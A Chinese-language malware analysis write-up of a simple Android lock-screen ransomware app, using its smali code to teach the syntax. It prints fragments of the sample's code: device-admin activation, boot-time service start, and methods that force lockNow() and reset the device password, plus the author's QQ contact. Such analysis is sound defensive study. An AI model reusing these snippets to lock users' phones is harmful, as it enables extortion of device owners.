引言
本次分析的样本是一款比较简单的android锁屏病毒，通过设备管理器来进行锁屏功能，并利用开机广播和服务的结合实现开机锁屏，解锁方式通过电话拨入，对资源文件进行解密出字符串和来电电话进行匹配的方式进行解锁。我们主要是从者一款比较简单的病毒中熟悉一下smali语法。
文件简介
App应用名称： 红包强盗(后台版)md5: F3ADAADC7A8CB0D16A1AD05AADC8B1F2包名： com.cjk。
详细分析
第一步，直接先上模拟器，看看大概是个什么毒。从截图看出它想申请设备管理员权限，然后就弹出锁屏界面，一枚锁品病毒：
看看apk包内的文件，在res\raw目录下发现四个可疑文本文件，内容是Cj09QU80TVRu、Cj1rRE0xY3puMllqTTVuVE0=这些有可能是加密过的字符串，还在res\drawable目录下，发现下面这个qq二维码，也没什么so文件，也不会加固过。
主要从从AndroidManifest.xml文件中看四大组件，一般样本都会将恶意行为放在服务组件，需要重点关注。

1)s服务根据服务生命周期表可以知道，针对两种不同方式启动的服务，调用的方法是不同的,因为下面onbind方法并没有任何操作，如果要开启这个服务只会走startService方法，所以我们顺着onCreate->onStartCommand来看。
//onBind方法，参数为Intent类实例化的对象
.method public onBind(Intent)IBinder
//onBind方法方法中用到了6个寄存器
.registers 6
//注解，就是java中的@Override
.annotation runtime Override
.end annotation
// 将参数p0(this)赋值给变量v0
00000000 move-object v0, p0
//将参数p1(传入的Intent类型参数)赋值给变量v1
00000002 move-object v1, p1
00000004 const/4 v3, 0
//检查v3是否可以转化成IBinder类
00000006 check-cast v3, IBinder
0000000A move-object v0, v3
//返回一个null对象
0000000C return-object v0
.end method
在看oncreate之前，在他的构造方法中，可以看见有几个敏感的数据，QQ号，暱称，并且将这串字符串进行静态方法MD5Util->getMD5String的处理，下面主要看看这个处理过程。
.method public constructor <init>()V
.registers 5
00000000 move-object v0, p0
00000002 move-object v2, v0
//直接调用Service的构造方法super()，(这种调用不存在被覆盖，编译时静态确认)
00000004 invoke-direct Service-><init>()V, v2
0000000A move-object v2, v0
0000000C const-string v3, "by:彼岸花 qq:127****738"
//将v3的字符串存放在v2中，并且v2=s->bahk:String(this.bahk)
00000010 iput-object v3, v2, s->bahk:String
//使用this清空v2，v3
00000014 move-object v2, v0
00000016 move-object v3, v0
//获取s->bahk:String的值放入v3，然后让s->bahk:String指向v3
00000018 iget-object v3, v3, s->bahk:String
//调用静态方法（不需要对象，所以少一个参数），看名称应该是获取md5字符串
0000001C invoke-static MD5Util->getMD5String(String)String, v3
00000022 move-result-object v3
//最后让经过处理的字符串v3放入this.Lycorisradiata
00000024 iput-object v3, v2, s->Lycorisradiata:String
00000028 return-void
.end method
处理函数getMD5String，它将字符串by:彼岸花 qq:127****738，先进行了md5摘要计算，得到一个第一次加密过的字节数组，然后在new一个长度是其2倍的char型数组，接着第一次加密过的字节数组的每一个字节经过2次加密，生成不同的字符，填入到new出来的char型数组中，最终将其转化成字符串返回。
.method public static final getMD5String(String)String
.registers 19
//静态方法，没有引用对象，所以p0=参数String
00000000 move-object/from16 v0, p0
//v12 = char[16] 创建16长度的char型数组，将其赋给v12
00000004 const/16 v12, 0x0010
00000008 new-array v12, v12, [C
//将EC指向的2字节长度的char数据填入数组
0000000C fill-array-data v12, :EC
//v2 = char[16] ，v12=this，将数组赋给v2，用this清空v12
00000012 move-object v2, v12 # v2 = charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
00000014 move-object v12, v0
:16
//v12.getBytes()将字符串转化成字节数组，调用虚方法，也就是v12是被引用的对象
//然后使用MD5信息摘要算法对这个字节数组进行计算，将hash值在00000040地址赋给v12

这里将注释集合起来，大概是这样的加密过程，这里主要是大致预览加密逻辑。
charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
string = "by:彼岸花 qq:1279525738";
byte[] v3 = string.getBytes();
MessageDigest v4 = MessageDigest.getInstance("MD5");
v4.update(v3);
byte[] v5 = md5ByteArray = v4.digest() //字节数组类型的信息摘要
v6 = md5ByteArray.length()
v7 = charArray2 = new char[2 * v6]
for(int v9=0; v9<v6; v9++){
v10 = md5ByteArray[v9]
v12 = v7 = charArray2
v13 = v8
++v8
v2 = charArray1
//对单个字节的第一次加密
v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
v13 = v8
++v8
//对单个字节的第二次加密
v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
}
v12 = new String(charArray2)
return v12
然后接着分析s服务的oncreate方法，先打印日志并通过Intent使用广播发送出去，让包名为com.aide.ui的接收，这里动态注册了一个监听接收短信、电话状态的广播,如果有电话拨进来，会将来电电话号码和经过字符串处理的hm资源文件里的字符串进行比较，如果相等就结束前台呼叫、移除newone布局，设置铃声静音，停止服务s（很明显是解锁方法），如果不相等则会拦截下这条广播。然后又用bah.java、8e6762e8737463a957dc390bff4eb8e8两个字符串生成对应的DES加密、解密对象，还有实例化一个by:彼岸花 qq:1279525738.xml存储文件的编辑器对象，但是都没有后面的操作，最后执行了重复手机震动操作，每过0.1s震动1.5s。

ADRTLogCatReader.onContext方法调用onContext静态方法，检查本引用是否可以调试，如果不可以则该方法返回为空，如果可以调试，先初始化ADRTSender的一些静态属性，然后开启一个线程，执行logcat -v threadtime打印日志，然后每次读取20个字符，并且每次读取一行，将其作为数据参数放入intent里，通过广播发送出去，指定接收包名是”com.aide.ui”，action是”com.adrt.LOGCAT_ENTRIES”。

s服务小结：主要提供解锁服务和一些布局界面的设置。
2) 开机完成的广播接收器bbb。
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
很明显，由下面的分析可以知道这是一个开机启动s服务的广播。
.method public onReceive(Context, Intent)V
.registers 18
.annotation system Signature
value = {
"(",
"Landroid/content/Context;",
"Landroid/content/Intent;",
")V"

00000066 return-void
3)设备管理员激活时的广播接收器。
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
一旦用户点击确认激活设备管理器，首先执行onEnabled方法，重置锁屏密码，然后触发密码更改后调用的方法onPasswordChanged，进行了锁屏行为，并且在用户想要解除该设备管理员身份的时候也会进行锁屏行为。
.method public onEnabled(Context, Intent)V
.registers 22
.annotation system Signature
value = {
"(",
"Landroid/content/Context;",
"Landroid/content/Intent;",
")V"
}
.end annotation

000000B0 invoke-super DeviceAdminReceiver->onEnabled(Context, Intent)V, v11, v12, v13
000000B6 return-void
代码大致相同，不再赘述。
@Override public void onPasswordChanged(Context arg13, Intent arg14) {
String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
super.onPasswordChanged(arg13, arg14);
}
@Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
return super.onDisableRequested(arg13, arg14);
}
4) 启动Activity主要在oncreate方法中，调用了开启激活设备管理员的界面。
.method private activiteDevice()V
.registers 15
.annotation system Signature
value = {
"()V"
}
.end annotation
00000000 move-object v0, p0
00000002 new-instance v6, Intent
00000006 move-object v13, v6
00000008 move-object v6, v13
0000000A move-object v7, v13
0000000C const-string v8, "android.app.action.ADD_DEVICE_ADMIN"
00000010 invoke-direct Intent-><init>(String)V, v7, v8 # intent = new Intent("android.app.action.ADD_DEVICE_ADMIN")
00000016 move-object v2, v6
00000018 new-instance v6, ComponentName
0000001C move-object v13, v6
0000001E move-object v6, v13
00000020 move-object v7, v13

00000028 invoke-static Class->forName(String)Class, v9 # Class.forName("com.cjk.MyAdmin")
:2E
0000002E move-result-object v9
00000030 invoke-direct ComponentName-><init>(Context, Class)V, v7, v8, v9 # mConponent = new ComponentName(this, Class.forName("com.cjk.MyAdmin"))
00000036 move-object v3, v6
00000038 move-object v6, v2
0000003A const-string v7, "android.app.extra.DEVICE_ADMIN"
0000003E move-object v8, v3
00000040 invoke-virtual Intent->putExtra(String, Parcelable)Intent, v6, v7, v8 # intent.putExtra("android.app.extra.DEVICE_ADMIN", mConponent)
00000046 move-result-object v6
00000048 move-object v6, v0
0000004A move-object v7, v2
0000004C const/4 v8, 0
0000004E invoke-virtual M->startActivityForResult(Intent, I)V, v6, v7, v8 # startActivityForResult(intent, 0)
总结
至此，基本全部分析完毕，主要在这个分析的过程中来了解smali语法，当编译成java的语法出错时可以看汇编代码，当然也可以尝试进行一些软件破解行为。
